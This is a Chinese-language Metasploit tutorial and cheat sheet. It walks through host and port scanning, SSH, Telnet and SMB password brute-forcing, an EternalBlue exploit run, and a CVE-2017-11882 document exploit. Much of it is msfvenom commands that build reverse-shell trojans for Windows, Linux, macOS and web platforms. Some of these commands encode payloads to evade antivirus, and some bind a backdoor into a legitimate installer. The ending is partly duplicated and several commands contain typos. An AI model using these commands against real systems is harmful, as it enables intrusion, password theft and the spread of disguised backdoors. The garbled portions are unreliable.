MSF使用教程
1.简介
Metasploit是一款开源安全漏洞检测工具,附带数百个已知的软件漏洞,并保持频繁更新。被安全社区冠以“可以黑掉整个宇宙”之名的强大渗透测试框架。
2.MSF模块介绍
1.辅助模块 auxiliary
负责执行信息收集、扫描、嗅探、指纹识别、口令猜测和Dos攻击等功能
2.渗透攻击模块exploits
利用系统漏洞进行攻击的动作,此模块对应每一个具体漏洞的攻击方法(主动、被动)
主动渗透攻击:发送网络数据,触发安全漏洞。比如web应用程序渗透攻击、SCADA工业控制系统服务渗透攻击等。
被动渗透攻击:浏览器软件漏洞攻击和文件格式漏洞攻击,引诱目标用户打开触发。
msfconsle中输入命令:
show exploits #可以查看当前Metasploit支持的渗透攻击模块
3.攻击载荷模块(Payload)
目标系统被渗透攻击之后需要执行的代码。比如反弹式shell、bind shell等。
在msfconsole界面输入:
show payloads #可以查看当前系统支持的payloads
4.空指令模块(Nops)
空指令是对一些程序运行状态不会造成任何实质影响的空操作或者无关操作指令,对于x86 CPU就是0x90。
在msfconsole中输入:
show nops #可以查看当前系统支持的空指令
5.编码器模块(Encoders)
功能1:确保攻击载荷中不会出现渗透攻击过程中应加以避免出现的“坏字符”
功能2:对攻击载荷进行“免杀”处理
在msfconsole界面输入:
show encoders #可以查看当前系统支持的编码器
6.后渗透攻击模块(posts)
后渗透攻击模块,在受控系统中进行各种各样的后渗透攻击动作,比如获取敏感信息、进一步拓展、实施跳板攻击等。
在msfconsole界面输入:
show post #可以显示当前系统支持的后渗透攻击模块
7.免杀模块(evasion)
在msfconsole界面输入:
show evasion #查看免杀模块
3.MSF常识
msf更新:
sudo apt-get update
sudo apt-get install metasploit-framework
启动msf报错:
sudo aqt-get install bundler
cd /usr/share/metasploit-framework
sudo bundle install
命令速查:
msfconsole | 命令行启动MSF |
---|---|
exit | 退出msf |
use | 使用某个模块 |
back | 退出模块 |
info | 查看模块的详细信息 |
set | 模块选型设置 |
run | 启动脚本 |
exploit | 启动脚本 |
show options | 查看脚本配置选项 |
show targets | 显示适用的主机类型 |
show payloads | 显示适用的payload类型 |
search | 搜索关键字 |
background | 将会话隐藏在后台 |
sessions | 会话管理 |
session -i | 根据ID管理会话 |
4.MSF信息收集
1.主机发现
use auxiliary/scanner/discovery/ 这个路径下有7个脚本用来进行信息收集
0 auxiliary/scanner/discovery/arp_sweep
1 auxiliary/scanner/discovery/empty_udp
2 auxiliary/scanner/discovery/ipv6_multicast_ping
3 auxiliary/scanner/discovery/ipv6_neighbor
4 auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement
5 auxiliary/scanner/discovery/udp_probe
6 auxiliary/scanner/discovery/udp_sweep
以arp_sweep为例
use auxiliary/scanner/discovery/arp_sweep
show options
set RHOSTS 192.168.1.1/24
set threads 50 #设置线程数50
run
2.端口扫描
use auxiliary/scanner/portscan/*
一般情况下推荐使用syn端口扫描器,因为它扫描速度快,不容易被发现
use auxiliary/scanner/portscan/syn
show options
set RHOSTS 192.168.1.142
set PORTS 1-65535 #全部扫描需要很长时间
set threads 50000
run
3.探测服务详细信息
sudo nmap A -p- -sS sC -T4 -Pn 192.168.1.1
4.服务查点
在metasploit中scanner辅助模块中,有很多用于服务扫描和查点的工具,常以[service_name]_version
和[service_name]_login
命名。
[service_name]_version
可用于遍历网络中包含了某种服务的主机,并进一步确定服务的版本
[service_name]_login
可对某种服务进行口令探测攻击
SSH服务扫描
search ssh_version
use 3
show options
set RHOSTS 192.168.1.1/24
set threads 50 #设置线程数50
run
Telnet服务扫描
search telnet_version
use auxiliary/scanner/telnet/telnet_version
其他服务查点
use auxiliary/scanner/oracle/tnslsnr_version #oracle服务扫描
use auxiliary/scanner/mssql/mssql_ping #mssql扫描
use auxiliary/scanner/mysql/mysql_version #mysql扫描
use auxiliary/scanner/ftp/ftp_version #ftp扫描
use auxiliary/scanner/http/http_version #http扫描
5.口令猜测
字典位置
/usr/share/wordlists #kail中
字典也可以去百度下载然后放到kail上
口令爆破:SSH
search ssh_login
auxiliary/scanner/ssh/ssh_login
set RHOST 192.168.1.1
set USERname kail
set PASS_FILE /home/tools/wordLists/pass_top1000.txt #路径为字典位置
run
其他服务口令猜解
use auxiliary/scanner/telnet/telnet_login
use auxiliary/scanner/mssql/mssql_login
use auxiliary/scanner/smb/smb_login
6.网站敏感目录扫描
注意此处需要提供一个目录字典(kail中有):
use auxiliary/scanner/http/dir_scanner
set RHOST 192.168.1.1
run
7.扫描内网中存在特定目录的主机
use auxiliary/scanner/smb/smb_ms17_010
use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
host likely vulnerable to MS17-010 #表示主机存在这个漏洞,可以利用攻击。
host does not appear vulnerable #主机不易受到攻击 / 不存在这个漏洞
5.主动渗透攻击
1.永恒之蓝
use exploit/windows/smb/ms17_010_eternalblue
set RHOST 192.168.1.1
exploit
2.Drupal CVE-2018-7600
search Drupal
......
6.被动渗透攻击
Office远程代码执行漏洞(CVE-2017-11882)
git clone http://github.com/starnightcyber/CVE-2017-11882.git
cd CVE-2017-11882
漏洞测试:
python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc #-c 嵌入命令
7.msfvenom
-l | 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops,…all |
---|---|
-p | 指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的 |
-f | 指定输出格式 |
-e | 指定需要使用的encoder(编码器)编码免杀 |
-a | 指定payload的目标架构,例如x86 还是 x64 还是 x86_64 |
-o | 指定创建好的payload的存放位置 |
-b | 设定规避字符集,指定需要过滤的坏字符。例如:不使用 ‘\x0f’、’\x00’ |
-n | 为payload预先指定一个NOP滑动长度 |
-s | 设定有效攻击荷载的最大长度生成payload的最大长度,就是文件大小 |
-i | 指定payload的编码次数 |
-c | 指定一个附加的win32 shellcode文件 |
-x | 指定一个自定义的可执行文件作为模板 例如:原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面 |
-k | 保护模板程序的动作,注入的payload作为一个新的进程运行 例如:原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面 |
-v | 指定一个自定义的变量,以确定输出格式 |
-t | 从stdin读取有效负载时等待的秒数(默认为30,0表示禁用) |
-h | 查看帮助选项 |
–platform | 指定payload的目标平台 |
普通生成木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.10 port=4444 -f exe -o /root/shell.exe
msfvenom –p windows/meterpreter/reverse_tcp –f exe –o /root/shell.exe
编码处理
msfvenom -p windows/meterpreter/reverse_tcp -i 3 -e x86/shikita_ga_nai lhost=192.168.1.10 port=4444 -f exe -o /root/shell.exe
捆绑
msfvenom -p windows/meterpreter/reverse_tcp -p latform windows -a x64 -x /root/baidunetdisk.exe -k lhost=192.168.1.10 port=4444 -f exe -o /root/shell.exe
Windows
msfvenom -platform windows -a x86 -p windows/meterpreter/reverse_tcp lhost=192.168.1.10 port=4444 -f exe -o /root/shell.exe
Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.1.10 port=4444 -f elf > shell.elf
Mac
msfvenom -p osx/x86/shell_reverse_tcp lhost=192.168.1.10 port=4444 -f macho > shell.macho
Php
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.10 port=4444 -f raw
Asp
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.10 port=4444 -f asp
Aspx
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.10 port=4444 -f aspx
Jsp
msfvenom -p java/jsp_shell_reverse_tcp lhost=192.168.1.10 port=4444 -f raw
Python
msfvenom -p python/meterpreter/reverse_tcp lhost=192.168.1.10 port=4444 -f raw
Perl
msfvenom -p cmd/unix/reverse_perl lhost=192.168.1.10 port=4444 -f raw
Bash
msfvenom -p cmd/unix/reverse_bash lhost=192.168.1.10 port=4444 -f bash
War
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.10 port=4444 -f war
on
msfvenom -p python/meterpreter/reverse_tcp lhost=192.168.1.10 port=4444 -f raw
Perl
msfvenom -p cmd/unix/reverse_perl lhost=192.168.1.10 port=4444 -f raw
Bash
msfvenom -p cmd/unix/reverse_bash lhost=192.168.1.10 port=4444 -f bash
War
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.10 port=4444 -f war